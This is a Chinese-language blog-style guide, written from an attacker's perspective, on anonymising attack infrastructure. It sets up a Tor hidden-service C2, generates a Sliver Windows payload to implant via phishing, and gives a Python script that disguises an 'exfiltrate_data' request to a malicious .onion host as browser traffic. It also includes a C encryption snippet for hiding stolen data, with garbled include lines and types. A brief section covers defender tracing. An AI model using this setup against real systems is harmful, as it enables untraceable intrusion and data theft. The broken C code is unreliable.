一、匿名，不只是为了隐身
在我的攻击生涯中，有这样一个核心原则始终贯穿始终：不要暴露自己。对于红队成员来说，无论是APT中长期潜伏，还是短期的渗透行动，攻击者的身份与位置曝光往往意味着任务失败，甚至引发法律风险。而对于防御者来说，溯源是找到攻击者并还击的重要手段。但反过来，正因如此，攻击者会更加注重匿名技术的使用。
从威胁情报的角度来看，匿名上网技术不仅是黑客的「隐身斗篷」，还是他们隐匿C2流量、隐藏攻击来源的核心工具。而我的目标，就是要站在攻击者的视角来分析：如果我需要做到完全匿名，我会动用哪些技术？
---
二、从基础到进阶：匿名的多层次实现
在攻击的多个阶段，不同程度的匿名性需求会决定你使用的具体技术。从简单的IP隐藏到复杂的多通道加密和流量混淆，我们一般划分为以下几种层次：
1. IP级别的隐藏 基础的匿名开始于隐藏真实IP地址，这也是最容易被检测和溯源的一环。常见方法包括：
- VPN服务：对流量进行加密，但如果服务商配合执法，仍然可能暴露信息。
- Tor网络：基于多跳路由的匿名网络，适合高隐私需求的场景。
- 公共代理：通过开放的HTTP或SOCKS代理隐藏IP，但稳定性和安全性堪忧。
2. 网络流量的混淆 单纯隐藏源IP不足以应对高阶检测系统。这时需要对流量本身进行混淆，避免被特征检测工具捕获。例如：
- 使用分片或封装技术，将攻击流量嵌入正常的HTTPS、HTTP/2流量中。
- 自定义加密协议，对内容进行加密后再传输。
3. 基础设施的分散与动态化 为了避免攻击指纹被关联，通常会搭建分布式C2基础设施，并使用动态DNS或IP轮换机制。这些技术可以使攻击链更加难以被跟踪。例如：
- 自动化C2域名轮换。
- CDN中继代理隐藏真实服务器。
下面我们通过一个真实的实验案例来展示如何构建匿名化的攻击环境。
---
三、实验：如何通过Tor + 动态C2实现匿名攻击
在这里，我会展示如何利用Tor网络和动态C2域名，构建一个安全、匿名的攻击环境。在实验中，我们会模拟一次典型的红队渗透行动，从搭建到数据窃取，全程匿名化处理。
环境搭建步骤
1. 准备工具
- 一台云服务器，用于搭建C2基础设施（推荐VPS服务）。
- Tor服务及其配置工具。
- APT攻击框架（我们选择Sliver，但同样适用于Cobalt Strike）。
2. 安装Tor服务 首先，在攻击者的C2服务器上安装Tor：
<pre><code class="language-bash">sudo apt update && sudo apt install tor -y</code></pre>
修改Tor的配置文件 torrc，启用隐匿服务（Hidden Service）：
<pre><code class="language-bash">HiddenServiceDir /var/lib/tor/hidden_service/ HiddenServicePort 80 127.0.0.1:8080</code></pre>
这样我们就将服务器的8080端口映射到了Tor隐匿服务。完成后，重启服务：
<pre><code class="language-bash">sudo systemctl restart tor</code></pre>
运行以下命令获取隐匿服务的域名：
<pre><code class="language-bash">cat /var/lib/tor/hidden_service/hostname</code></pre>
这会生成一个以「.onion」结尾的域名，作为C2服务器的地址。
3. 配置Sliver框架
接下来，我们在C2服务器上运行Sliver，并将其监听端口绑定到Tor隐匿服务。
<pre><code class="language-bash">sudo ./sliver-server sliver > generate --mtls --os windows --arch amd64 --skip-symbols c2payload</code></pre>
将生成的载荷（Payload）通过钓鱼攻击或其他方式植入目标机器中。
4. 测试匿名连接
在目标机器上运行Payload后，我们会发现所有的数据通信都通过Tor网络中转，而不会直接暴露攻击者的IP。
---
四、突破高级检测：流量混淆与逃逸
现实世界的防御系统越来越强大，单纯依赖Tor或VPN已经无法完全隐藏攻击流量。为了进一步增强匿名性，我们可以加入以下技术：
1. 流量伪装技术 利用HTTP/2协议封装攻击数据，使其看起来像正常的浏览器请求。以下是一个简单的Python脚本示例：
<pre><code class="language-python">import requests
伪装为浏览器请求
headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8' }
将Payload伪装为普通HTTP请求的数据包
payload = {"command": "exfiltrate_data", "data": "sensitive_information"} response = requests.post("http://malicious-server.onion", headers=headers, json=payload)
print("Response: ", response.text)</code></pre>
这段代码会将攻击数据伪装为正常的HTTP请求，绕过大部分检测系统。
2. 自定义加密通道 如果目标环境中部署了流量分析工具，可以考虑使用自定义加密协议。例如，我们可以将数据使用AES加密后再传输。
以下是一段C语言示例，展示如何对数据进行AES加密：
<pre><code class="language-c">#include <openssl/aes.h>
include <string.h>
include <stdio.h>
void encrypt_aes(const char input, unsigned char key, unsigned char output) { AES_KEY encryptKey; AES_set_encrypt_key(key, 128, &encryptKey); // 使用128位密钥 AES_encrypt((unsigned char )input, output, &encryptKey); }
int main() { const char *data = "SensitiveDataToEncrypt"; unsigned char key[16] = "encryptionkey123"; // 16字节密钥 unsigned char encrypted[16];
encrypt_aes(data, key, encrypted); printf("Encrypted data: "); for (int i = 0; i < 16; i++) { printf("%02x", encrypted[i]); } printf("\n"); return 0; }</code></pre>
攻击者可以通过加密后的数据包传输敏感信息，极大提升了溯源难度。
---
五、防御者的视角：你能追踪到哪些线索？
尽管攻击者可以通过各种技术手段实现匿名，但防御者并非完全无能为力。以下是一些检测和溯源的方法：
1. Tor入口节点监控 即使攻击者使用了Tor网络，流量仍需要经过入口节点。通过分析与某些已知恶意入口节点的通信，可以发现异常。
2. 流量指纹分析 许多攻击工具，如Cobalt Strike或Metasploit，会使用特定的通信模式。通过机器学习算法，可以识别这些流量特征。
3. 链路关联分析 攻击者的IP可能不会直接暴露，但通过分析多个攻击阶段的上下游IP地址，仍可能找到与攻击者相关的线索。
---
六、个人经验与总结
在我参与的一些红队行动中，我深刻体会到匿名技术的重要性。尤其是在对高价值目标（如政府机构或大型企业）实施APT攻击时，匿名技术直接决定了攻击的成功率和安全性。
但也有失败的教训。例如，有一次，我的C2服务器因为使用了公共代理，而被一组安全研究人员关联溯源，最终导致整个攻击链暴露。这让我意识到，一个漏洞就足以毁掉精心策划的匿名行动。
总之，对于攻击者来说，匿名技术是一把双刃剑，用得巧妙可以如虎添翼，但一旦疏忽也可能带来致命风险。而对于防御者来说，了解这些匿名技术则是打破攻击者「隐身斗篷」的关键。